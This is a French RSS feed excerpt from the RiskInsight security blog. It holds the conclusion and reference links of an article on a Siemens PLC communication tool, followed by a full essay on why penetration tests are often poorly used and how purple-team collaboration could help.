<div class="Enum1" style="margin-left: 67.05pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">
<figure id="post-15924 media-15924" class="align-center"><img loading="lazy" decoding="async" class="size-full wp-image-15924 alignnone" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last.png" alt="" width="320" height="25" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last-71x6.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<div class="MsoNormal"><b><span style="color: #00477f;">Conclusion</span></b></div>
<div class="MsoNormal">À travers la publication de <span class="Miseenvaleur" style="color: #00477f;"><b>l’outil s7comm</b></span>  comme de cet article, nous souhaitons rappeler la relative facilité à communiquer avec des <span class="Miseenvaleur" style="color: #00477f;"><b>automates industriels</b></span>.<br />
Un attaquant, une fois arrivé sur le SI industriel, peut directement <span class="Miseenvaleur" style="color: #00477f;"><b>perturber le procédé industriel</b></span>. Vos commentaires et contributions sont les bienvenus afin de fiabiliser et d’améliorer cet outil.<b></b></div>
<div></div>
<div></div>
<div class="MsoNormal" style="break-after: avoid; line-height: 11.5pt; page-break-after: avoid; text-autospace: none; vertical-align: middle;"><span style="color: #9c9d9e;">Sources :</span></div>
<div class="Tableau">[1] <a href="https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid">https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid</a></div>
<div class="Tableau">[2] <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/scada/modbusclient.rb">https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/scada/modbusclient.rb</a></div>
<div class="Tableau">[3] <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_command.rb">https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_command.rb</a></div>
<div class="Tableau">[4] <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_stux_transfer.rb">https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_stux_transfer.rb</a></div>
<div class="Tableau">[5] <a href="https://github.com/sourceperl/mbtget/blob/master/scripts/mbtget">https://github.com/sourceperl/mbtget/blob/master/scripts/mbtget</a></div>
<div class="Tableau">[6] <a href="https://github.com/bashwork/pymodbus">https://github.com/bashwork/pymodbus</a></div>
<div class="Tableau">[7] <span class="MsoHyperlink"><a href="http://python-snap7.readthedocs.org/en/latest/installation.html">http://python-snap7.readthedocs.org/en/latest/installation.html</a></span></div>
<div class="Tableau">[8] <a href="https://github.com/alexandrinetorrents/s7comm">https://github.com/alexandrinetorrents/s7comm</a></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2016/05/s7comm-un-outil-de-communication-avec_24/">S7comm : un outil de communication avec les Automates Programmables Industriels Siemens</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Le fardeau du pentesteur</title>
		<link>https://www.riskinsight-wavestone.com/2015/03/le-fardeau-du-pentesteur/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Mon, 23 Mar 2015 13:41:45 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[pentesteur]]></category>
		<category><![CDATA[test d'intrusion]]></category>
		<category><![CDATA[vulnérabilités]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15499</guid>

					<description><![CDATA[<p>La sécurité informatique a fait du chemin ces dernières années. Désormais, toute entreprise de taille respectable dispose de sa politique de sécurité des systèmes d’information. Des sessions de sensibilisation des utilisateurs à la sécurité sont réalisées. Une gouvernance sécurité s’est...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2015/03/le-fardeau-du-pentesteur/">Le fardeau du pentesteur</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div style="margin: 0cm 0cm 10.0pt 0cm;">
<div class="visually-hidden" style="text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="http://3.bp.blogspot.com/-NjLVhBfmbGA/VRBVoMyJu8I/AAAAAAAAAAs/8gCWgLP6Xf4/s1600/%C2%A9%2BAndrea%2BDanti%2B-%2BFotolia.com.jpg"><img loading="lazy" decoding="async" src="http://3.bp.blogspot.com/-NjLVhBfmbGA/VRBVoMyJu8I/AAAAAAAAAAs/8gCWgLP6Xf4/s1600/%C2%A9%2BAndrea%2BDanti%2B-%2BFotolia.com.jpg" width="320" height="240" border="0" /></a></div>
<p style="text-align: left;"><i><span style="color: #666666;"><span style="font-family: inherit;">La sécurité informatique a fait du chemin ces dernières années. Désormais, toute entreprise de taille respectable dispose de sa politique de sécurité des systèmes d’information. Des sessions de sensibilisation des utilisateurs à la sécurité sont réalisées. Une gouvernance sécurité s’est même mise en place : le RSSI pilote, définit des KPI, analyse ses tableaux de bords SSI. Mais la technique n’est pas non plus oubliée ; on sait désormais que rien ne vaut un test d’intrusion pour vérifier, en imitant les méchants hackers, le niveau de sécurité d’une application ou d’un SI. Et ils vécurent heureux et ne subirent aucune attaque ? Pas si sûr&#8230;</span></span></i></p>
</div>
<div style="margin: 0cm 0cm 10.0pt 0cm;">
<h2>Le test d’intrusion n’est pas une science exacte</h2>
</div>
<div>
<div class="MsoNormal"><span style="font-family: inherit;">Non, malheureusement, le test d’intrusion n’est pas une science exacte. C’est une démarche qui relève plus de la pratique que de la théorie. Et c’est tant mieux. Pourquoi ? Le test d’intrusion n’est pas un audit. L’objectif du test d’intrusion est d’avoir une vision réaliste, “terrain”, du niveau de sécurité d’une application, d’un environnement ou d’un système. Le pentesteur dispose alors d’informations limitées sur sa cible, et doit faire appel à ses connaissances et compétences pour essayer de comprendre les rouages de son fonctionnement, afin d’identifier les éventuelles vulnérabilités. C’est en cela qu’un test d’intrusion automatique est un non-sens ! L’automatisation ne permet pas cette compréhension fine du fonctionnement de la cible, et se contente de dérouler des scénarii de tests prédéfinis.</span></div>
<div class="MsoNormal"></div>
<div class="MsoNormal"><span style="font-family: inherit;">Par ailleurs, même si le pentesteur vise l’exhaustivité dans ses tests, les conditions de réalisation jouent souvent contre lui ! Le test a forcément une durée limitée, qui ne permet d’explorer qu’un nombre limité d’options. De plus, l’environnement sur lequel se déroulent les tests est rarement identique à 100% à l’environnement de production, que ce soit par des différences de configuration, des fonctionnalités non-disponibles, ou des comptes utilisateurs.</span></div>
<div class="MsoNormal"><b style="color: #00477f;"></b><br />
<b style="color: #00477f;"><span style="font-family: inherit;">Une première frustration pour le pentesteur : savoir que son travail, même dévoué, n’est jamais totalement complet.</span></b></div>
<h2>Des tests d’intrusion souvent mal exploités</h2>
</div>
<div><span style="font-family: inherit;">Les tests d’intrusion sont de plus en plus fréquemment gérés par “campagne”, mission d’une durée plus longue et qui regroupe plusieurs audits, réalisés souvent par le même prestataire. On peut ainsi assurer une certaine homogénéité dans les audits, profiter d’un contexte client mieux connu, et proposer des recommandations plus adaptées.</span><span style="font-family: inherit;"><br />
</span><br />
<span style="font-family: inherit;">Malheureusement, une fois cette information obtenue, il convient de traiter les risques (ou de les accepter, pourquoi pas&#8230;). Force est de constater que cette étape n’est pas la plus maîtrisée, dans la plupart des cas. Les campagnes d’audit menées de manière récurrente sur des périmètres comparables font souvent apparaître des rapports d’audit grandement similaires, voir identiques.</span><span style="font-family: inherit;"><br />
</span><br />
<span style="font-family: inherit;">Pourquoi cette situation ? Malheureusement, si les budgets SSI permettent les audits, ils sont rarement dimensionnés pour absorber le coût de la mise en œuvre des recommandations. De plus, les équipes projets sont bien trop souvent réfractaires aux changements, d’autant plus qu’ils sont à appliquer globalement (problématiques de contrôle d’accès, de filtrage des entrées,…).</span><br />
<span class="Miseenvaleur"><span style="font-family: inherit;"><br />
</span></span></p>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;">Par ailleurs, au-delà des querelles sur la réelle nécessité d’implémenter tel ou tel mécanisme de sécurité (d’autant plus vigoureuse que l’application est “interne”), c’est très souvent l’implémentation des mécanismes de sécurité qui fait défaut. Les risques sont identifiés, des mesures de protection identifiées et validées, et pourtant, le jour du test d’intrusion, les illusions volent en éclat.</span></span></div>
</div>
<div></div>
<div></div>
<div></div>
<div>
<p>&nbsp;</p>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;"><b style="font-family: inherit;"><span style="color: #00477f;"><span style="font-family: inherit;">C’est bien là le regret du pentesteur : découvrir que son travail n’a servi à rien; qu’un an plus tard, les vulnérabilités sont toujours présentes et que d’autres sont même venues s’ajouter.</span></span></b></span></span></div>
</div>
<div>
<h2></h2>
<h2>Quelles conclusions pour la réalisation de tests<br />
d’intrusion ?</h2>
</div>
<div><span style="font-family: inherit;">Faut-il stopper la réalisation de tests d’intrusion ? Non, sans doute pas. En revanche, il convient peut-être de modifier la manière dont on utilise ces ressources. </span><span class="Miseenvaleur"><span style="font-family: inherit;"><br />
</span></span></p>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;">D’abord, il faut savoir choisir ses cibles : inutile de tester le même périmètre que l’an dernier tant que l’on n’a pas obtenu la confirmation que les recommandations existantes ont été appliquées !</span></span></div>
<div></div>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;">Ensuite, il faut tenter de traiter le problème à la racine : il est inefficace d’empiler les recommandations sur les failles XSS tant que les développeurs ne savent pas correctement traiter les entrées utilisateurs ! Et pour cela, le pentesteur peut apporter plus qu’une liste de vulnérabilités à la Prévert. Il doit s’assurer de l’adhésion des équipes techniques aux recommandations, ainsi que de leur implémentation technique. Pour cela, la réalisation d’ateliers avec les équipes techniques, visant à identifier dans le détail l’implémentation des recommandations, est un vrai plus ! En </span></span><span class="Miseenvaleur"><span style="font-family: inherit;">complément de cet accompagnement sur la mise en œuvre de moyens de protection, les résultats du test d’intrusion doivent également permettre la fiabilisation des mécanismes de supervision sécurité. Pour cela, un travail main dans la main avec les équipes de supervision est nécessaire, ainsi qu’un bilan à froid des actions qui ont été menées, celles qui ont été détectées et celles ne l’ayant pas été. On initie ainsi un cercle vertueux d’amélioration de la détection au cours du temps, concentré sur des éléments « terrain ».</span></span></div>
<div></div>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;">Cette collaboration plus étroite entre les équipes de sécurité et les pentesteurs est sans doute la clé pour un meilleur ROI sur les tests d’intrusion. On trouve des références à cette approche sous le nom de “purple team”, une référence aux notions de “blue team” (défense) et de “red team” (attaque) utilisée dans le domaine militaire.</span></span></div>
<div></div>
</div>
<div></div>
<div></div>
<div>
<p>&nbsp;</p>
<div><b style="color: #00477f; font-family: inherit;">Le salut du pentesteur pourrait donc résider dans </b><b style="color: #00477f; font-family: inherit;">cette approche : offrir plus qu’un rapport et des slides, et avoir une démarche </b><b style="color: #00477f; font-family: inherit;">plus intégrée pour, enfin, améliorer la sécurité.</b></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2015/03/le-fardeau-du-pentesteur/">Le fardeau du pentesteur</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
